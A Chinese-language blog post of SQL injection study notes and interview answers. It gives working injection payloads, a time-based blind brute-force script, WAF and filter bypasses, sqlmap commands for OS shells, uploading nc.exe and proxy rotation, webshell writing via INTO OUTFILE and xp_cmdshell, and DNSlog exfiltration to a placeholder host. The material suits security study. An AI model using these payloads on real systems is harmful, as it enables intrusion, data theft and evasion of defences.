由於我的博客是學到滲透的時候才做的,沒有關於WEB漏洞的筆記,現在發現WEB層面的漏洞有些不太熟悉了,邊寫一下筆記邊復習一下,就從sql注入開始吧
話不多說先上表,基本常用的手工注入函數解釋都在這
union select | 聯合查詢,聯合注入常用 |
database() | 回顯當前連接的數據庫 |
version() | 查看當前sql的版本如:mysql 1.2.3, mariadb-4.5.6 |
group_concat() | 把產生的同一分組中的值用,連接,形成一個字符串 |
information_schema | 存了很多mysql信息的數據庫 |
information_schema.schemata | information_schema庫的一個表,名為schemata |
schema_name | schemata表中存儲mysql所有數據庫名字的字段 |
information_schema.tables | 存了mysql所有的表 |
table_schema | tables表中存每個表對應的數據庫名的字段 |
table_name | 表的名字和table_schema一一對應 |
information_schema.columns | columns表存了所有的列的信息4 |
column_name | 當你知道一個表的名字時,可通過次字段獲得表中的所有字段名(列名) |
table_name | 表的名字和column_name一一對應 |
select updatexml(1,concat(0x7e,database(),0x7e),1); | 這里注意,只在databse()處改你想要的內容即可報錯回顯 |
right(str, num) | 字符串從右開始截取num個字符 |
left(str,num) | 同理:字符串從左開始截取num個字符 |
substr(str,N,M) | 字符串,從第N個字符開始,截取M個字符 |
SQL注入原理
SQL注入漏洞的產生需要滿足以下兩個條件
- 參數用戶可控:前端傳給后端的參數內容是用戶可以控制的。
- 參數帶入數據庫查詢:傳入的參數拼接到SQL語句,且帶入數據庫查詢
當傳入的D參數為and1=1時,執行的SQL語句。(#號表示注釋符,但一般用--空格,很多數據庫都通用)
select from users where id=1 and 1=1#
因為1=1為真,且 wherei語句中id=1也為真,所以頁面會返回與id=1相同的結果。當傳入的ID參數為and1=2時,由於1=2不成立,所以返回假,頁面就會返回與id=1不同的結果
通過這個簡短的語句可以初步判斷參數是否存在SQL注入漏洞,如果驗證有攻擊者可以進一步拼接SQL語句進行攻擊,致使數據庫泄露,甚至獲取服務器權限
Union注入攻擊
在判斷了注入點之后,使用order by判斷該數據表的字段數量
例如輸入這個,回顯的與id=1相同結果
id=1 order by 4#
但order by 5之后回顯了不同的結果,則說明字段數為4
判斷完字段數后使用union注入,判斷回顯字段的位置
使用union注入要注意參數設置成-1,否則數據庫會優先查詢參數值,無法判斷回顯位置
id=-1 union select 1,2,3,4#
接着在回顯的字段上輸入攻擊的代碼,例如2是回顯字段位,輸入database()就能查看數據庫
id=-1 union select 1,database(),3,4#
假設得知數據庫名為sqli,得知數據庫庫名之后,查詢表名,group_concat函數把產生的同一分組中的值用,連接,形成一個字符串
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="sqli",3,4#
假設得知表名為flag,查詢字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="flag",3,4#
得知字段名查字段
id=-1 union select 1,group_concat(flag) from sqli.flag,3,4#
這就是基本的union注入思路,但實戰情況下會有很多過濾防止攻擊者獲取數據庫的信息
若是字符型的話就用‘創造閉合
報錯注入攻擊
報錯注入可以在判斷注入點之后,但是沒有回顯字段,只會顯示錯誤信息的情況下使用
關鍵的命令是select updatexml(1,concat(0x7e,database(),0x7e),1); 在database()處修改想要攻擊的語句
其中0x7e是ASCII編碼,意思是~,用於區分系統報錯和關鍵信息
接下來的思路和union注入一樣,但要注意的點是需要使用right函數和left函數來查詢報錯回顯的字段,因為通常報錯回顯的字段數是有限的,而需要的數據庫信息比較長
right(str, num) | 字符串從右開始截取num個字符 |
left(str,num) | 同理:字符串從左開始截取num個字符 |
用法示例
-1 union select updatexml(1,concat(0x7e,right(
(select(group_concat(schema_name))from information_schema.schemata)
,31 ),0x7e),1); #
Boolean注入攻擊
當頁面只顯示yes或no,而不返回數據庫中的任何數據,就使用Boolean注入攻擊
首先使用Lenth()函數判斷數據庫名的長度
id=1 and lenth(database())>=1#
查詢數據庫名長度后,使用substr函數逐字獲取數據庫名,數據庫庫名的范圍一般在a~z、0~9之內,還可能有一些特殊字符
substr(str,N,M) 字符串,從第N個字符開始,截取M個字符
id=1 and substr(database(),1,1)='a'#
但一般這種方式手工速度很慢效率很低,一般采用爆破的方式,可以使用bp進行爆破,用返回字節長度判斷是否正確
爆出數據庫名之后后面的方法同理
時間注入攻擊
時間注入和Boolean注入差不多,不同之處是時間注入利用於什么都不返回,連是否正確都不返回。
時間注入利用sleep函數讓MySQL執行時間變長從而判斷是否注入成功
判斷數據庫長度語句是
id=if(length(database())>1,sleep(5),1)
意思是如果數據庫名長度大於1,則暫停五秒后執行,否則直接執行
了解了時間盲注后就可以用開始的思路進行攻擊
id=if(substr(database(),1,1)='a',sleep(5),1)
但是時間盲注手工注入比Boolean注入還要慢,一般用python腳本來實現爆破
貼上代碼
import requests import time headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" } word1 = [] word2 = [] # url = input("url:") # t = input("sleep:") for i in range(65, 91): word1.append(chr(i)) for i in range(97, 123): word1.append(chr(i)) for i in range(48, 58): word1.append(chr(i)) word1.append('{') word1.append('}') for i in range(97, 123): word2.append(chr(i)) for i in range(48, 58): word2.append(chr(i)) word2.append('{') word2.append('}') for i in range(1, 40): for j in word2: url = "http://URL/?id=1 and if(substr((select flag from sqli.flag)," + str(i) + ",1)='" + str(j) + "',sleep(3),1)#" t1 = time.time() r = requests.get(url, headers) #發送GET請求。 返回Response對象。 t2 = time.time() if t2 - t1 > 3: print(j)
堆疊注入攻擊
堆疊查詢可以執行多條語句,每條語句用分號隔開。堆疊注入和union注入的區別就是,堆疊注入可以執行任意語句,而union注入只限於查詢語句
例如可以向數據庫添加或刪除數據
id=1;insert into user(id,username,password)values('5','zhangsan','123456');#
二次注入攻擊
二次注入就是攻擊者將攻擊代碼經過注冊或者其他方式儲存在數據庫,當數據庫再次調用這個攻擊代碼時,才會被攻擊。
例如本身數據庫存在一個admin賬戶但是不知道其密碼,當我們注冊一個賬戶名為admin’#構造一個閉合,接着再去修改密碼,原數據庫的語句就為
Update user set password=’New password‘ where username=‘admin‘#’ and password=’password‘
由於admin存在#,后面的語句將無法執行,所以數據庫就將admin的密碼修改成我們剛剛修改的密碼
寬字節注入攻擊
寬字節注入一般適用於當閉合的時候被 ‘/’ 轉義,一般情況下此處是不存在SQL注入漏洞的。但是有一個情況例外就是當數據庫的編碼為GBK的時候。
’/‘的編碼為%5c,GBK而%df5c是繁體字連,所以可以在被轉義的字符前面加上%df逃逸
XFF注入攻擊
通過BurpSuite抓取數據包,可以看到HTTP請求頭中有一個頭部參數X- Forwarded-for.X- Forwarded-For簡稱XF頭,它代表客戶端真實的IP,通過修改X- Forwarded-for的值可以偽造客戶端IP,將X- Forwarded-for設置為127.0.0.1,然后訪問URL,頁面返回正常
使用Union注入方法完成注入
X-forwarded-for: 127.0.0.1' union select 1,2,3,4#
SQL注入繞過技術
繞過的方法太多了,每種方法的應用的場景也不同,這里不仔細講,將常見的方法列出來
- 大小寫繞過:常用於關鍵字過濾,由於mysql語句對大小寫沒要求,可以使用大小寫進行繞過
- 雙寫繞過:常用於關鍵字過濾,例如and被過濾,可以寫成anandd
- 編碼繞過:常用於關鍵字過濾,將被過濾的關鍵字使用URL編碼兩次,因為服務器會自動解析一次
- 空格繞過:空格被過濾,使用/**/代替空格,tab代替空格,%0a代替空格,括號繞過空格
- 內聯注釋繞過:常用於關鍵字過濾,使用/*! and*/將關鍵字and括起來繞過
- 注釋符繞過:當注釋符被過濾時,采用union select 1,2,3||'1,或union select 1,2,’3,或者union select 1,2,3 or '1'='1
- and、or繞過:and=&&,or=||
- =繞過:使用like,或者<>
- 逗號繞過:使用join 。union select 1,2#等價於union select * from (select1)a join (select2)b
- 等價函數
group_concat() ==> concat_ws()
sleep() ==> benchmark()
mid()、substr() ==> substring()
user() ==> @@user
updatexml() ==> extractvalue()
在使用手工注入的時候可以將多種繞過方法組合在一起,成功的機率更大。
自動化工具sqlmap用法簡介
sqlmap是針對於sql注入漏洞的自動化工具
sqlmap -h查看幫助
sqlmap基礎
GET傳參
讀取當前數據庫版本用戶
sqlmap -u http://URL/?id=1 –current-user –current-db
檢測是否存在注入點
sqlmap -u http://URL/?id=1
拿庫名
sqlmap -u http://URL/?id=1 --dbs
假設拿到庫名sqli,拿表名
sqlmap -u http://URL/?id=1 -D sqli --tables
假設拿到表名user,拿列名
sqlmap -u http://URL/?id=1 -D sqli -T user --columns
假設拿到列名user,password,拿字段
sqlmap -u http://URL/?id=1 -D sqli -T user -C user,password --dump
POST傳參
當數據提交方式為post的時候,使用bp抓包,將文本保存下來test.txt,(test.txt如果沒有放到sqlmap目錄就用絕對路徑)。
sqlmap -r test.txt -p id //-r參數打開文件,-p參數注入用的參數。
剩下的操作就和GET方式無異
sqlmap進階
這里主要講如果繞過WAF
- --level=5:探測等級,1-5,默認為1,等級越高,payload越多,速度越慢。HTTP cookei在level為2時就會測試,HTTP User-Agent/Referer在level為3時就會測試。
- --risk=RISK 執行測試的風險(0-3,默認為1)
- –threads #采用多線程(–threads 3)
- --referer“http://www.google.com” //模擬來源,就是從哪個網頁跳轉過來的。如果不懂可以谷歌referer
- --cookie=COOKIE:設置http請求的cookie,level2時,會嘗試cookie注入,eg:"PHPSESSID=aaaa"
-
--user-agent:修改http請求中的user-agent,通常修改為搜索引擎的UA頭來模擬搜索引擎,防止被封ip,也可以使用--random-agent參數,隨機的從user-agent.txt中獲取。(level 3時會嘗試對user-agent注入)
- --proxy=PROXY:通過代理服務器來連接目標url
- --delay=times :延時注入,秒為單位,避免引起防火牆注意
- --tamper 通過編碼繞過WAF
防止封IP最簡單粗暴的方法就是代理池繞過,去網上購買代理(也有免費的就是不好用),設置--porxy=代理ip,再每次請求的時候都更換一個ip,防火牆就不會檢測到
sqlmap高級
- --id-dba:當前用戶是否為管理權限
- --roles:列出數據庫管理員角色,僅適用於當前數據庫是Oracle的時候
- --referer=https://www.baid.com :sqlmap可以在請求中偽造HTTP中的referer,當–level參數設定為3或者3以上的時候會嘗試對referer注入
- --sql-shell:運行自定義sql語句
- --os-cmd,--os-shell:運行任意操作系統命令
- --file-read "C:/example.exe":從數據庫服務器中讀取文件
- sqlmap.py -u URL –file-write ”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” 上傳文件到數據庫服務器中
SQL面試題總結
轉載於蘇爽爽的博客-
一、知識儲備類
1.SQL與NoSQL的區別?
SQL:關系型數據庫
NoSQL:非關系型數據庫
存儲方式:SQL具有特定的結構表,NoSQL存儲方式靈活
性能:NoSQL較優於SQL
數據類型:SQL適用結構化數據,如賬號密碼;NoSQL適用非結構化數據,如文章、評論
2.常見的關系型數據庫?
mysql、sqlserver、oracle、access、sqlite、postgreSQL
3.常見的數據庫端口?
關系型:
mysql:3306、sqlserver:1433、orecal:1521、PostgreSQL:5432、db2:50000
非關系型:
MongoDB:27017、Redis:6379、memcached:11211
4.簡述數據庫的存儲引擎
數據庫存儲引擎是數據庫底層軟件組織,數據庫管理系統(DBMS)使用數據引擎進行創建、查詢、更新和刪除數據。不同的存儲引擎提供不同的存儲機制、索引技巧、鎖定水平等功能,使用不同的存儲引擎,還可以獲得特定的功能。
InnoDB:主流的存儲引擎,mysql默認存儲引擎
MyISAM:查詢、插入速度快,不支持事務
MEMORY:hash索引、BTREE索引
5.SQL注入有哪幾種注入類型?
從注入參數類型分:數字型注入、字符型注入、搜索型注入
從注入方法分:基於報錯、基於布爾盲注、基於時間盲注、聯合查詢、堆疊注入、內聯查詢注入、寬字節注入
從提交方式分:GET注入、POST注入、COOKIE注入、HTTP頭注入
6.SQL注入的危害及防御?
危害:
數據庫泄露、數據庫被破壞、網站崩潰、服務器被植入木馬
防御:
代碼層面對查詢參數進行轉義、預編譯與參數綁定、利用WAF防御
7.如果存在SQL注入怎么判斷不同的數據庫?
根據報錯信息判斷
根據執行函數返回的結果判斷,如len()和lenth(),version()和@@version等
根據注釋符判斷
8.mysql的網站注入,5.0以上和5.0以下有什么區別?
從sql注入的角度來說,mysql5.0以下版本沒有information_schema這個系統庫,無法列出表名列名,只能暴力跑
9.Mysql一個@和兩個@什么區別
一個@是用戶自定義變量
兩個@是系統變量,如@@version、@@user
10.MYSQL注入/繞過常用的函數
注入常用函數:
database() 返回當前數據庫名、user() 返回當前數據庫用戶名、updatexml() 更新xml文檔,常用於報錯注入、mid() 從指定字段中提取出字段的內容、limit() 返回結果中的前幾條數據或者中間的數據、concat() 返回參數產生的字符串、group_concat() 分組拼接函數、count() 返回指定參數的數目、rand() 參數0~1個隨機數、flood() 向下取整、substr() 截取字符串、ascii() 返回字符串的ascii碼、left() 返回字符串最左邊指定個數的字符、ord() 返回字符的ascii碼、length() 返回字符串長度、sleep() 延時函數
等價函數繞過,反之亦可:
group_concat() ==> concat_ws()
sleep() ==> benchmark()
mid()、substr() ==> substring()
user() ==> @@user
updatexml() ==> extractvalue()
11.UDF提權原理?
mysql支持用戶自定義函數,將含有自定義函數的dll放入特定的文件夾,聲明引入dll中的執行函數,使用執行函數執行系統命令
12.MSSQL差異備份原理及條件?
原理:
完整備份后,再次對數據庫進行修改,差異備份會記錄最后的LSN,將shell寫入數據庫,備份成asp即可getshell
條件:
MSSQL具有dbo或sa權限、支持堆疊查詢、找到網站的絕對路徑
二、實操技能類
1.SQL注入寫shell的條件,用法
條件:
當前用戶具有dba權限、找到網站絕對路徑、網站有可寫目錄、mysql的配置secure_file_priv為空
用法:
mysql: id=1' and 1=2 union select 1,2,'shell內容' into outfile "絕對路徑\shell.php" %23
sqlserver: id=1';EXEC master..xp_cmdshell 'echo "shell內容" > 絕對路徑\shell.asp' --
2.sql注入過濾了逗號,怎么弄?
join繞過:
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
3.sleep被禁用后還能怎么進行sql注入
benchmark代替sleep:
id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+
笛卡爾積盲注:
select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)
RLIKE盲注:
select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)
4.什么是寬字節注入?如何操作?
寬字節注入:
當php開啟gpc或者使用addslashes函數時,單引號'被加上反斜杠\',其中\的URL編碼為%5C,我們傳入%df',等價於%df%5C',此時若程序的默認字符集是GBK,mysql用GBK編碼時會認為%df%5C是一個寬字符縗,於是%df%5C'便等價於縗',產生注入。
操作:
id=1%df' and 1=2 union select 1,2,user(),4 %23
5.怎樣進行盲注速度更快?
DNSlog盲注:
id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),'.your-dnslog.com\\cHr1s'))--+
6.什么是二次注入?
參數傳入的惡意數據在傳入時被轉義,但是在數據庫處理時又被還原並存儲在數據庫中,導致二次注入。
舉例:
注冊用戶名admin'#用戶,傳入值為admin\'#,但是在存儲數據庫時值變為admin'#,此時若修改密碼為123456,管理員admin密碼就被修改為123456
7.sql注入常見的過WAF方法?
內聯注釋繞過、填充大量臟數據繞過、垃圾參數填充繞過、改變提交方式繞過:如GET方式變為POST方式提交、隨機agent頭繞過、fuzz過濾函數,函數替換繞過
8.sqlmap如何編寫tamper?
tamper固定模板如下:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
pass
PROIORITY
用於定義tamper優先級,當調用多個tamper時生效,優先級如下,數值越大優先級越高
LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100
dependencies
用於提示用戶tamper適用范圍,具體代碼如下:
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("過狗tamper '%s' 只針對 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
DBMS.MYSQL代表MYSQL,其他數據庫類推
Tamper
tamper關鍵函數,用於定義過濾規則,示例代碼如下:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!29440AND*/')
payload=payload.replace('ORDER','/*!29440order*/')
payload=payload.replace('LIKE USER()','like (user/**/())')
payload=payload.replace('DATABASE()','database/*!29440*/()')
payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')
payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')
payload=payload.replace('UNION ALL SELECT','union/*!29440select*/')
payload=payload.replace('super_priv','/*!29440/**/super_priv*/')
payload=payload.replace('and host=','/*!29440and*/host/*!11440=*/')
payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(')
payload=payload.replace('SLEEP(','sleep/**/(')
return payload
fuzz出具體payload后對關鍵字符進行替換
將上述過程簡單總結來回答hr問題即可